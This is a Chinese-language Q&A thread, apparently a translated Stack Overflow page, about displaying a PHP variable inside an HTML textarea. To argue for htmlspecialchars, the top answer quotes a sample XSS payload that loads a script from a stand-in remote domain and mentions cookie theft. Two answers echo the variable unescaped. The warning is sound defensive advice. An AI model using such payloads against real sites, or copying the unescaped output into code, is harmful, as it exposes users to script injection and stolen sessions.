6

我在这里遇到了一个小问题,我正在尝试使用编辑按钮制作一个新闻系统,一切都很好,但是我遇到了“textarea”问题,我可以在输入上显示结果但是当我尝试在它不会显示的文本区域中显示它们,看看:

此代码完美运行:

<input name="txt_02" size="87" maxlength="100" id="txt_Resumen" maxlength="140"  value="<?php echo $not_Resumen?>"/>

这不会:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"  value="<?php echo $not_Contenido ?>">
</textarea>

我尝试在 textarea 中使用 $not_Resumen 和其他的,但它不起作用,textarea 会在没有文本的情况下显示为空,这应该是我犯的一个小错误,但我找不到它。谢谢。

4

4 回答 4

22

把它放在里面><没有值属性

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

您还应该使用htmlspecialchars以便 textarea 在$not_Contenidocontains时不会中断</textarea>

这有时会被忽略,但如果$not_Contenido包含以下内容:

</textarea><script src="http://remotedomain.com/evilscript.js"></script>

攻击者可以运行他们想要的任何东西,您的所有客户端都将下载并在您的网站上运行该脚本。一种常见的攻击是将 cookie 发送到他们的域。

于 2013-07-16T04:48:15.297 回答
2

试试喜欢

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
     <?php echo $not_Contenido; ?>
</textarea>

我们不赋予textbox.

于 2013-07-16T04:48:41.210 回答
2

值不是 textarea 的属性,所以只需放在标签之间<textarea>?</textarea>

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>
于 2013-07-16T04:50:17.573 回答
2

将您的值放在 textarea 的开始和结束标记之间,就像其他 HTML 标记一样,并且 textarea 没有属性“值”

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>
于 2013-07-16T04:51:56.557 回答